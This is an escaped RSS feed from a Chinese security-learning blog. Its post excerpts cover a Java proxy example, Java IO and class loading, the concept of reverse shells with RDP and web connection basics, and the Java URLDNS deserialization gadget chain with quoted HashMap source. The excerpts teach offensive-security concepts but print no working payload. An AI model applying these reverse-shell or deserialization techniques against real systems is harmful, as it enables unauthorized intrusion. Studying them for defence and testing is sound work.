&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; contract();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;seeHouse&lt;/span&gt;(){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; System.&lt;span style="color:#a6e22e"&gt;out&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;println&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;中介看房&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fare&lt;/span&gt;(){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; System.&lt;span style="color:#a6e22e"&gt;out&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;println&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;收中介费&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;contract&lt;/span&gt;(){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; System.&lt;span style="color:#a6e22e"&gt;out&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;println&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;签合同&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这是中介类，也就是代理，中介代表房东出租房子，同时也会提供一些额外的服务。&lt;/p&gt;</description></item><item><title>反弹shell</title><link>https://s0lowalker.github.io/docs/%E5%8F%8D%E5%BC%B9shell/</link><pubDate>Fri, 01 May 2026 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/%E5%8F%8D%E5%BC%B9shell/</guid><description>&lt;h1 id="反弹-shell"&gt;
 反弹 shell
 &lt;a class="anchor" href="#%e5%8f%8d%e5%bc%b9-shell"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="前言"&gt;
 前言
 &lt;a class="anchor" href="#%e5%89%8d%e8%a8%80"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;反弹 shell，就是让攻击机监听在某个 TCP/UDP 端口为服务端，目标主机主动发起请求到攻击机监听的端口，并将其命令行的输入输出转到攻击机。&lt;/p&gt;
&lt;h2 id="机器的两种连接方式"&gt;
 机器的两种连接方式
 &lt;a class="anchor" href="#%e6%9c%ba%e5%99%a8%e7%9a%84%e4%b8%a4%e7%a7%8d%e8%bf%9e%e6%8e%a5%e6%96%b9%e5%bc%8f"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="正向连接"&gt;
 正向连接
 &lt;a class="anchor" href="#%e6%ad%a3%e5%90%91%e8%bf%9e%e6%8e%a5"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;假设我们攻击一台机器，打开了该机器的一个端口，攻击者在自己的机器去连接目标机器（ip:port），这是比较常规的方式，我们叫做正向连接。远程桌面、 web 服务、ssh、telnet 等等都是正向连接。&lt;/p&gt;
&lt;p&gt;下面简单讲讲这些正向连接的过程（因为这部分也是我的知识盲区了，我还得练啊）。&lt;/p&gt;
&lt;h4 id="远程桌面"&gt;
 远程桌面
 &lt;a class="anchor" href="#%e8%bf%9c%e7%a8%8b%e6%a1%8c%e9%9d%a2"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;h5 id="第一阶段发起连接"&gt;
 第一阶段：发起连接
 &lt;a class="anchor" href="#%e7%ac%ac%e4%b8%80%e9%98%b6%e6%ae%b5%e5%8f%91%e8%b5%b7%e8%bf%9e%e6%8e%a5"&gt;#&lt;/a&gt;
&lt;/h5&gt;
&lt;p&gt;在电脑上打开以一个”远程桌面连接“工具，输入对方的 ip，然后点击”连接“。&lt;/p&gt;
&lt;h5 id="第二阶段协议协商"&gt;
 第二阶段：协议协商
 &lt;a class="anchor" href="#%e7%ac%ac%e4%ba%8c%e9%98%b6%e6%ae%b5%e5%8d%8f%e8%ae%ae%e5%8d%8f%e5%95%86"&gt;#&lt;/a&gt;
&lt;/h5&gt;
&lt;p&gt;这里是技术含量较高的部分，主要由远程桌面协议（RDP）在后台自动化完成：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;默认走TCP通道：首先客户端通过默认的&lt;strong&gt;3389端口&lt;/strong&gt;，与被控电脑（服务器端）建立一个基于 TCP 协议的连接。TCP 连接非常可靠，能保证初始的握手信息不丢包。&lt;/li&gt;
&lt;li&gt;尝试升级UDP通道：如果网络条件允许（如防火墙没有拦截），RDP 会尝试建立一个基于 UDP 协议的连接。因为 UDP 传输效率更高、延迟更低，会让后续的远程操作更流畅，尤其适合传输画面和声音。如果 UDP 建立成功，之前的 TCP 连接可能会被释放，所有浏览都切换到 UDP 上。&lt;/li&gt;
&lt;/ol&gt;
&lt;h5 id="第三阶段身份验证"&gt;
 第三阶段：身份验证
 &lt;a class="anchor" href="#%e7%ac%ac%e4%b8%89%e9%98%b6%e6%ae%b5%e8%ba%ab%e4%bb%bd%e9%aa%8c%e8%af%81"&gt;#&lt;/a&gt;
&lt;/h5&gt;
&lt;p&gt;通道建立完成后，会进行严格的安全检查：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;加密协商：客户端和服务器会商量用一种双方都支持的加密方式。RDP 默认使用 RC4 加密算法，密钥长度可达128位，确保在验证身份和后续传输数据时，信息都是密文，不会被窃取。&lt;/li&gt;
&lt;li&gt;递交凭证：这时，你的屏幕上会弹出窗口，要求输入被控电脑的账号和密码。这一般需要是对方电脑上一个设置了密码的本地账户或微软账户。&lt;/li&gt;
&lt;li&gt;网络级身份验证（NLA）：为了更安全，现代Windows系统默认会开启NLA。它的好处是，在建立完整的远程桌面连接之前，就先把你的身份凭证验证完。这可以有效防止未授权用户消耗服务器资源，也能抵御某些类型的攻击。&lt;/li&gt;
&lt;/ol&gt;
&lt;h5 id="第四阶段会话建立与数据传输"&gt;
 第四阶段：会话建立与数据传输
 &lt;a class="anchor" href="#%e7%ac%ac%e5%9b%9b%e9%98%b6%e6%ae%b5%e4%bc%9a%e8%af%9d%e5%bb%ba%e7%ab%8b%e4%b8%8e%e6%95%b0%e6%8d%ae%e4%bc%a0%e8%be%93"&gt;#&lt;/a&gt;
&lt;/h5&gt;
&lt;p&gt;一旦身份验证通过，一个专属你的远程会话就建立了。此时，RDP的多通道能力开始作用，它会把不同类型的任务放到不同的“车道”上并行处理。&lt;/p&gt;
&lt;h4 id="web-服务"&gt;
 Web 服务
 &lt;a class="anchor" href="#web-%e6%9c%8d%e5%8a%a1"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;h5 id="第一步解析url确定目的地"&gt;
 第一步：解析URL，确定目的地
 &lt;a class="anchor" href="#%e7%ac%ac%e4%b8%80%e6%ad%a5%e8%a7%a3%e6%9e%90url%e7%a1%ae%e5%ae%9a%e7%9b%ae%e7%9a%84%e5%9c%b0"&gt;#&lt;/a&gt;
&lt;/h5&gt;
&lt;p&gt;当我们在浏览器地址栏输入&lt;code&gt;https://www.example.com/index.html&lt;/code&gt;并回车后，浏览器会先解析这个URL，拆解出关键信息：&lt;/p&gt;</description></item><item><title>Java IO流</title><link>https://s0lowalker.github.io/docs/java%E5%AE%89%E5%85%A8/java%E5%9F%BA%E7%A1%80/java-io%E6%B5%81/</link><pubDate>Wed, 29 Apr 2026 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/java%E5%AE%89%E5%85%A8/java%E5%9F%BA%E7%A1%80/java-io%E6%B5%81/</guid><description>&lt;h1 id="java-io流"&gt;
 Java IO流
 &lt;a class="anchor" href="#java-io%e6%b5%81"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="流简介"&gt;
 流简介
 &lt;a class="anchor" href="#%e6%b5%81%e7%ae%80%e4%bb%8b"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="什么是流"&gt;
 什么是流
 &lt;a class="anchor" href="#%e4%bb%80%e4%b9%88%e6%98%af%e6%b5%81"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;在 java 中，流是对数据传输的抽象。我们可以想象成一个水管，数据是水，从源流向目的地。不管数据来自文件、网络、内存还是键盘，处理方式都是类似的。&lt;/p&gt;
&lt;p&gt;流的本质是&lt;strong&gt;字节序列&lt;/strong&gt;，java 用统一的视角看待所有 I/O 操作。&lt;/p&gt;
&lt;p&gt;IO 是指 Input/Output，即输入和输出，以内存为中心。&lt;/p&gt;
&lt;p&gt;那么为什么要把数据读到内存中才能处理这些数据？因为代码都是在内存中运行的，数据也必须读取到内存中，最终的表示方式一般是 byte 数组，字符串等，都必须存放在内存中。&lt;/p&gt;
&lt;p&gt;从 java 代码看，输入则是从外部（如硬盘上的某个文件）把内容读取到内存中，并且以 java 提供的某种数据类型表示。例如，&lt;code&gt;byte[]&lt;/code&gt;、&lt;code&gt;String&lt;/code&gt;等，这样后续代码才能处理这些数据。&lt;/p&gt;
&lt;p&gt;因为内存有“易失性”的特点，即一断电数据就消失了，所以必须把处理之后的数据以某种形式输出，例如写入文件。Output 实际上就是把 java 表示的数据格式（如&lt;code&gt;byte[]&lt;/code&gt;，&lt;code&gt;String&lt;/code&gt;）输出到某个地方。&lt;/p&gt;
&lt;p&gt;IO 流是一种顺序读写数据的模式，特点是单向流动，数据类似水一样。&lt;/p&gt;
&lt;h2 id="创建文件的三种方式"&gt;
 创建文件的三种方式
 &lt;a class="anchor" href="#%e5%88%9b%e5%bb%ba%e6%96%87%e4%bb%b6%e7%9a%84%e4%b8%89%e7%a7%8d%e6%96%b9%e5%bc%8f"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="根据路径创建一个-file-对象"&gt;
 根据路径创建一个 File 对象
 &lt;a class="anchor" href="#%e6%a0%b9%e6%8d%ae%e8%b7%af%e5%be%84%e5%88%9b%e5%bb%ba%e4%b8%80%e4%b8%aa-file-%e5%af%b9%e8%b1%a1"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;使用&lt;code&gt;new File(String pathname)&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;package&lt;/span&gt; IOStream;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; java.io.File;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; java.io.IOException;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;IOStreamTest&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;createFile&lt;/span&gt;() &lt;span style="color:#66d9ef"&gt;throws&lt;/span&gt; Exception{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; File file &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; File(&lt;span style="color:#e6db74"&gt;&amp;#34;C:\\Users\\32202\\Desktop\\java测试\\test\\src\\IOStream\\Files\\test.txt&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; file.&lt;span style="color:#a6e22e"&gt;createNewFile&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; System.&lt;span style="color:#a6e22e"&gt;out&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;println&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;successful&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;catch&lt;/span&gt; (IOException e) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;throw&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; RuntimeException(e);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;main&lt;/span&gt;(String&lt;span style="color:#f92672"&gt;[]&lt;/span&gt; args) &lt;span style="color:#66d9ef"&gt;throws&lt;/span&gt; Exception{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; createFile();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="根据父目录-file-对象在子路径创建一个文件"&gt;
 根据父目录 File 对象，在子路径创建一个文件
 &lt;a class="anchor" href="#%e6%a0%b9%e6%8d%ae%e7%88%b6%e7%9b%ae%e5%bd%95-file-%e5%af%b9%e8%b1%a1%e5%9c%a8%e5%ad%90%e8%b7%af%e5%be%84%e5%88%9b%e5%bb%ba%e4%b8%80%e4%b8%aa%e6%96%87%e4%bb%b6"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;使用&lt;code&gt;new File(File parent,String child)&lt;/code&gt;&lt;/p&gt;</description></item><item><title>java类的动态加载</title><link>https://s0lowalker.github.io/docs/java%E5%AE%89%E5%85%A8/java%E5%9F%BA%E7%A1%80/java%E5%8A%A8%E6%80%81%E7%B1%BB%E5%8A%A0%E8%BD%BD/</link><pubDate>Fri, 24 Apr 2026 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/java%E5%AE%89%E5%85%A8/java%E5%9F%BA%E7%A1%80/java%E5%8A%A8%E6%80%81%E7%B1%BB%E5%8A%A0%E8%BD%BD/</guid><description>&lt;h1 id="java类的动态加载"&gt;
 java类的动态加载
 &lt;a class="anchor" href="#java%e7%b1%bb%e7%9a%84%e5%8a%a8%e6%80%81%e5%8a%a0%e8%bd%bd"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="类加载器和双亲委派机制"&gt;
 类加载器和双亲委派机制
 &lt;a class="anchor" href="#%e7%b1%bb%e5%8a%a0%e8%bd%bd%e5%99%a8%e5%92%8c%e5%8f%8c%e4%ba%b2%e5%a7%94%e6%b4%be%e6%9c%ba%e5%88%b6"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="类加载器的作用"&gt;
 类加载器的作用
 &lt;a class="anchor" href="#%e7%b1%bb%e5%8a%a0%e8%bd%bd%e5%99%a8%e7%9a%84%e4%bd%9c%e7%94%a8"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;一句话概括：把类的字节码文件（.class）加载到 JVM 内存中，并转换成可以被虚拟机直接使用的 java 类，即 Class 对象。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;加载 Class 文件&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Person p &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Person();
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;Person&lt;/code&gt;这个类本身是抽象的，通过&lt;code&gt;new&lt;/code&gt;操作，实例化。类加载做的则是把类这个模板经过编译形成的字节码传入 JVM，生成一个具备这个类的所有数据的 Class 对象。(Class 对象就当成是这个类理解即可)&lt;/p&gt;
&lt;p&gt;ClassLoader 的工作流程：&lt;/p&gt;
&lt;p&gt;首先，一个类编译后形成的 class 文件经过类加载器进入 JVM并产生 Class 对象，然后在 JVM 中进行初始化，我们可以通过这个 Class 对象的 &lt;code&gt;getClassLoader()&lt;/code&gt; 方法获取这个类对应的类加载器。我们也可以通过对这个 Class 对象调用其 &lt;code&gt;newInstance()&lt;/code&gt; 方法来实例化一个对象，通过这个实例化对象的 &lt;code&gt;getClass()&lt;/code&gt; 方法来获取对应的 Class 对象。&lt;/p&gt;
&lt;h3 id="3种类加载器"&gt;
 3种类加载器
 &lt;a class="anchor" href="#3%e7%a7%8d%e7%b1%bb%e5%8a%a0%e8%bd%bd%e5%99%a8"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;h4 id="启动类加载器-bootstrap-classloader"&gt;
 启动类加载器 (Bootstrap ClassLoader)
 &lt;a class="anchor" href="#%e5%90%af%e5%8a%a8%e7%b1%bb%e5%8a%a0%e8%bd%bd%e5%99%a8-bootstrap-classloader"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;其底层原生代码属是由 C++ 编写的，属于 JVM 的一部分。&lt;/p&gt;
&lt;p&gt;不继承于&lt;code&gt;java.lang.ClassLoader&lt;/code&gt;类，也没有父类加载器，主要负责加载核心 java 库（即 JVM 本身），储存在&lt;code&gt;/jre/lib/rt.jar&lt;/code&gt;中。&lt;/p&gt;
&lt;h4 id="扩展类加载器-extensionsclassloader"&gt;
 扩展类加载器 (ExtensionsClassLoader)
 &lt;a class="anchor" href="#%e6%89%a9%e5%b1%95%e7%b1%bb%e5%8a%a0%e8%bd%bd%e5%99%a8-extensionsclassloader"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;这个类加载器是由&lt;code&gt;sun.misc.Launcher$ExtClassLoader&lt;/code&gt;类实现的，用来加载&lt;code&gt;/jre/lib/ext&lt;/code&gt;或&lt;code&gt;java.ext.dirs&lt;/code&gt;指定的目录。Java 虚拟机会提供一个扩展库目录，此类加载器在目录中查找并加载 java 类。&lt;/p&gt;</description></item><item><title>java反序列化之URLDNS链</title><link>https://s0lowalker.github.io/docs/java%E5%AE%89%E5%85%A8/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8Burldns%E9%93%BE/</link><pubDate>Tue, 21 Apr 2026 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/java%E5%AE%89%E5%85%A8/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8Burldns%E9%93%BE/</guid><description>&lt;h1 id="java反序列化之urldns链"&gt;
 java反序列化之URLDNS链
 &lt;a class="anchor" href="#java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e4%b9%8burldns%e9%93%be"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="java反序列化"&gt;
 java反序列化
 &lt;a class="anchor" href="#java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;在 java 中，如果一个对象实现了 Serializable 接口就可以被序列化，java 的这种序列化模式为开发者提供了很多便利，我们可以不必关心具体序列化的过程，只要这个类实现了 Serilizable 接口，这个类的所有属性和方法都会自动序列化，transient 关键字修饰的属性除外，不参与序列化过程。&lt;/p&gt;
&lt;h2 id="urldns链"&gt;
 URLDNS链
 &lt;a class="anchor" href="#urldns%e9%93%be"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;这条利用链有一下特点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;不限制 jdk 版本，使用 java 内部类，对第三方依赖没用要求&lt;/li&gt;
&lt;li&gt;目标无回显，可以通过 DNS 请求来验证是否存在反序列化漏洞&lt;/li&gt;
&lt;li&gt;URLDNS链只能发起 DNS 请求，并不能进行其他利用。虽然没有任何攻击性，但是在渗透测试的过程中能进行无回显验证&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在 ysoserial 中列出的调用链：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-md" data-lang="md"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;*&lt;/span&gt; Gadget Chain:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;*&lt;/span&gt; HashMap.readObject()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;*&lt;/span&gt; HashMap.putVal()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;*&lt;/span&gt; HashMap.hash()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;*&lt;/span&gt; URL.hashCode()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="原理"&gt;
 原理
 &lt;a class="anchor" href="#%e5%8e%9f%e7%90%86"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;java.util.HashMap&lt;/code&gt;重写了&lt;code&gt;readObject&lt;/code&gt;方法，在反序列化时会调用&lt;code&gt;hash&lt;/code&gt;函数计算 key 的 hashCode。而&lt;code&gt;java.net.URL&lt;/code&gt;的 hashCode 在计算时会调用&lt;code&gt;getHostAddress&lt;/code&gt;来解析域名，从而发出 DNS 请求。&lt;/p&gt;
&lt;p&gt;定位到 HashMap#readObject 方法：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;readObject&lt;/span&gt;(ObjectInputStream s)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;throws&lt;/span&gt; IOException, ClassNotFoundException {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ObjectInputStream.&lt;span style="color:#a6e22e"&gt;GetField&lt;/span&gt; fields &lt;span style="color:#f92672"&gt;=&lt;/span&gt; s.&lt;span style="color:#a6e22e"&gt;readFields&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Read loadFactor (ignore threshold)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;float&lt;/span&gt; lf &lt;span style="color:#f92672"&gt;=&lt;/span&gt; fields.&lt;span style="color:#a6e22e"&gt;get&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;loadFactor&amp;#34;&lt;/span&gt;, 0.&lt;span style="color:#a6e22e"&gt;75f&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (lf &lt;span style="color:#f92672"&gt;&amp;lt;=&lt;/span&gt; 0 &lt;span style="color:#f92672"&gt;||&lt;/span&gt; Float.&lt;span style="color:#a6e22e"&gt;isNaN&lt;/span&gt;(lf))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;throw&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; InvalidObjectException(&lt;span style="color:#e6db74"&gt;&amp;#34;Illegal load factor: &amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; lf);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; lf &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Math.&lt;span style="color:#a6e22e"&gt;clamp&lt;/span&gt;(lf, 0.&lt;span style="color:#a6e22e"&gt;25f&lt;/span&gt;, 4.&lt;span style="color:#a6e22e"&gt;0f&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; HashMap.&lt;span style="color:#a6e22e"&gt;UnsafeHolder&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;putLoadFactor&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;, lf);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; reinitialize();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; s.&lt;span style="color:#a6e22e"&gt;readInt&lt;/span&gt;(); &lt;span style="color:#75715e"&gt;// Read and ignore number of buckets&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; mappings &lt;span style="color:#f92672"&gt;=&lt;/span&gt; s.&lt;span style="color:#a6e22e"&gt;readInt&lt;/span&gt;(); &lt;span style="color:#75715e"&gt;// Read number of mappings (size)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (mappings &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; 0) {
